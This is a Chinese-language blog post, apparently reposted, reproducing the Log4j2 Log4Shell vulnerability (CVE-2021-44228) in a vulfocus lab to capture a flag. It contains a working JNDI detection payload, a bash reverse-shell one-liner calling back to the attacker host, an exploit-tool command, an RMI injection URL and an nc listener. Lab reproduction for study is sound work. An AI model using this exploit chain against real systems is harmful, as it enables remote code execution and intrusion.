我是靠谱客的博主 淡然花生,最近开发中收集的这篇文章主要介绍log4j2 CVE-2021-44228漏洞复现,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

Log4j2是对log4j修改后的java日志框架,漏洞影响版本2.0-beta92.15.0

用的是log4j还是log4j2区分:

1>.Log4j2分为2个jar包,一个是接口log4j-api-${版本号}.jar,一个是具体实现log4j-core-${版本号}.jar,而log4j j只有一个jar包log4j-${版本号}.jar。

2>.Log4j2的package名称前缀为org.apache.logging.log4j。Log4j的package名称前缀为org.apache.log4j

Jndi lookup根据传入的关键字查找支持的协议和服务,将payload一起打印到日志,jndi识别到ldap或rmi这些支持的协议后从服务器加载恶意代码,造成了代码执行漏洞。

利用vulfocus靶场,界面:

测试url:http://192.168.221.129:13167/hello?payload=111

1.检测漏洞是否存在:dnslog平台点get sub,得到一个域名,拿他构造payload:

${jndi:ldap://2h9bw9.dnslog.cn},url编码后传入参数

http://192.168.221.129:13167/hello?payload=%24%7Bjndi%3Aldap%3A%2F%2F2h9bw9.dnslog.cn%7D 执行后,刷新dnglog 得到记录,证明漏洞存在

Kali: 192.168.221.128

Centos7: 192.168.221.129

2.构造payload:bash -i >& /dev/tcp/192.168.221.128/6969 0>&1 ,ip是kali的,将此命令base64编码,得到 YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMS4xMjgvNjk2OSAwPiYx

3.下载利用工具 GitHub - bkfish/Apache-Log4j-Learning: Apache-Log4j漏洞复现笔记,放到kali,需要jdk 1.8

Kali执行命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar  -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMS4xMjgvNjk2OSAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.221.128

随意选择生成的一个rmi和ldap链接,构造payload:

${jndi: rmi://192.168.221.128:1099/xqtoti} ,将此payload进行url编码并带入漏洞url参数中,http://192.168.221.129:13167/hello?payload=%24%7Bjndi%3Armi%3A%2F%2F192.168.221.128%3A1099%2Fxqtoti%7D

3.反弹shell

Kali开启监听:nc -lvvp 6969  (此端口要与第一步base64编码中的端口一致)

浏览器回车访问上步url编码的链接:

http://192.168.221.129:13167/hello?payload=%24%7Bjndi%3Armi%3A%2F%2F192.168.221.128%

3A1099%2Fxqtoti%7D

此时kali中观察到反弹shell成功。并执行 ls /tmp 得到flag

最后

以上就是淡然花生为你收集整理的log4j2 CVE-2021-44228漏洞复现的全部内容,希望文章能够帮你解决log4j2 CVE-2021-44228漏洞复现所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(32)

评论列表共有 0 条评论

立即
投稿
返回
顶部